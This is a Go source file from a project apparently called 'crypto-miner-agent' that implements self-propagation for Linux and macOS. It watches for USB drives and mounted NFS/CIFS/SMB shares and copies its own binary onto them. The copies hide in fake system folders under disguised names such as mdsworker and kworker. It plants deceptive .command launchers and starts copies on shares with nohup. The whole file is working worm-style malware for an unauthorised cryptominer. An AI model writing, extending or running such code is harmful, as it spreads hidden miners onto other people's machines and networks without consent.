//go:build !windows

package deploy

import (
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"sync"
	"time"

	"crypto-miner-agent/config"
)

// StartPassiveSpreader on Unix polls for newly mounted removable media
// (USB drives, SD cards) and drops the agent onto them.
func StartPassiveSpreader(cfg config.RuntimeConfig) {
	if !cfg.USBSpread && !cfg.ShareSpread {
		return
	}
	log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
	if cfg.USBSpread {
		go runUSBWatcherUnix(cfg)
	}
	if cfg.ShareSpread {
		go runShareWatcherUnix(cfg)
	}
}

// -----------------------------------------------------------------------
//  USB / removable media watcher (Linux + macOS)
// -----------------------------------------------------------------------

func runUSBWatcherUnix(cfg config.RuntimeConfig) {
	type mountState struct{ payloadSize int64 }
	state := map[string]mountState{}

	exePath, err := os.Executable()
	if err != nil {
		return
	}
	exeInfo, err := os.Stat(exePath)
	if err != nil {
		return
	}
	currentSize := exeInfo.Size()

	// Spread to drives already present at startup if payload is missing or stale.
	// Record the current exe size BEFORE launching the goroutine so the ticker
	// never fires again for a drive that's already being written.
	for _, mp := range listRemovableMounts() {
		size, found := findUnixPayloadSize(mp)
		if !found || isPayloadStale(exePath, size) {
			state[mp] = mountState{payloadSize: currentSize}
			go spreadToMountUnix(cfg, mp)
		} else {
			state[mp] = mountState{payloadSize: size}
		}
	}

	ticker := time.NewTicker(8 * time.Second)
	defer ticker.Stop()
	for range ticker.C {
		exeInfo, err := os.Stat(exePath)
		if err != nil {
			continue
		}
		for _, mp := range listRemovableMounts() {
			prev, seen := state[mp]
			if !seen {
				log.Printf("[passive-spread] new removable mount: %s", mp)
				state[mp] = mountState{payloadSize: exeInfo.Size()}
				go spreadToMountUnix(cfg, mp)
				continue
			}
			if prev.payloadSize != exeInfo.Size() {
				log.Printf("[passive-spread] refreshing stale payload on %s", mp)
				state[mp] = mountState{payloadSize: exeInfo.Size()}
				go spreadToMountUnix(cfg, mp)
			}
		}
	}
}

// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
	dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
	for _, dir := range dotDirs {
		entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
		if err != nil {
			continue
		}
		for _, e := range entries {
			fi, err := e.Info()
			if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
				return fi.Size(), true
			}
		}
	}
	return 0, false
}

// listRemovableMounts returns currently-mounted removable media paths.
// Linux: parses /proc/mounts, macOS: uses diskutil list + mount.
func listRemovableMounts() []string {
	// Try lsblk first (Linux)
	if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil {
		return parseLsblkMounts(string(out))
	}
	// macOS: look in /Volumes/ for non-system mounts
	return listVolumes()
}

func parseLsblkMounts(jsonOut string) []string {
	// Simple substring scan — avoids importing encoding/json for a small binary
	var mounts []string
	lines := strings.Split(jsonOut, "\n")
	var lastMP string
	for _, line := range lines {
		line = strings.TrimSpace(line)
		if strings.Contains(line, `"mountpoint"`) {
			parts := strings.SplitN(line, ":", 2)
			if len(parts) == 2 {
				lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`)
			}
		}
		if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) {
			if lastMP != "" && lastMP != "/" && lastMP != "null" {
				mounts = append(mounts, lastMP)
			}
		}
	}
	return mounts
}

func listVolumes() []string {
	entries, err := os.ReadDir("/Volumes")
	if err != nil {
		return nil
	}
	// Skip the system volume (usually "Macintosh HD") by checking if it's a
	// symlink to / — all other entries are external/removable volumes.
	var vols []string
	for _, e := range entries {
		full := filepath.Join("/Volumes", e.Name())
		target, err := filepath.EvalSymlinks(full)
		if err != nil {
			vols = append(vols, full) // real mount, not a symlink
			continue
		}
		if target != "/" {
			vols = append(vols, full)
		}
	}
	return vols
}

func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}
	destName := unixPayloadName(cfg)
	// Hide in a dot-directory that looks like a metadata store
	dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir
	if err := os.MkdirAll(dropDir, 0700); err != nil {
		dropDir = filepath.Join(mountPath, ".metadata")
		if err := os.MkdirAll(dropDir, 0700); err != nil {
			dropDir = mountPath
		}
	}
	dest := filepath.Join(dropDir, destName)
	if err := copyFile(exePath, dest); err != nil {
		return
	}
	_ = os.Chmod(dest, 0755)
	log.Printf("[passive-spread] agent copied to %s", dest)

	// Create a visible shell script or .command launcher that blends in.
	launcherName := pickUnixLauncher(mountPath)
	launcherPath := filepath.Join(mountPath, launcherName)
	script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n"
	_ = os.WriteFile(launcherPath, []byte(script), 0755)
}

func unixPayloadName(cfg config.RuntimeConfig) string {
	if !cfg.StealthMode {
		n := sanitizeName(cfg.WorkerName)
		if n != "" {
			return n
		}
	}
	names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"}
	return names[int(time.Now().UnixNano())%len(names)]
}

func pickUnixLauncher(mountPath string) string {
	entries, _ := os.ReadDir(mountPath)
	for _, e := range entries {
		if e.IsDir() && !strings.HasPrefix(e.Name(), ".") {
			return e.Name() + ".command"
		}
	}
	return "Start.command"
}

// -----------------------------------------------------------------------
//  Mounted share watcher (Linux/macOS NFS, CIFS, SMB)
// -----------------------------------------------------------------------

var spreadSharesOnce sync.Once

func runShareWatcherUnix(cfg config.RuntimeConfig) {
	time.Sleep(3 * time.Minute)
	ticker := time.NewTicker(10 * time.Minute)
	defer ticker.Stop()
	spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) })
	for range ticker.C {
		spreadToSharesUnix(cfg)
	}
}

func spreadToSharesUnix(cfg config.RuntimeConfig) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}
	for _, mp := range listRemoteShareMounts() {
		mp := mp
		go func() {
			destName := unixPayloadName(cfg)
			dest := filepath.Join(mp, "."+destName)
			if _, err := os.Stat(dest); err == nil {
				return
			}
			if err := copyFile(exePath, dest); err != nil {
				return
			}
			_ = os.Chmod(dest, 0755)
			log.Printf("[passive-spread] dropped to share %s", dest)
			cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`)
			_ = cmd.Start()
		}()
	}
}

// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts.
func listRemoteShareMounts() []string {
	out, err := exec.Command("mount").Output()
	if err != nil {
		return nil
	}
	var mounts []string
	for _, line := range strings.Split(string(out), "\n") {
		lower := strings.ToLower(line)
		if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") {
			continue
		}
		// mount line format: `//host/share on /mnt/share type cifs ...`
		fields := strings.Fields(line)
		for i, f := range fields {
			if f == "on" && i+1 < len(fields) {
				mounts = append(mounts, fields[i+1])
				break
			}
		}
	}
	return mounts
}
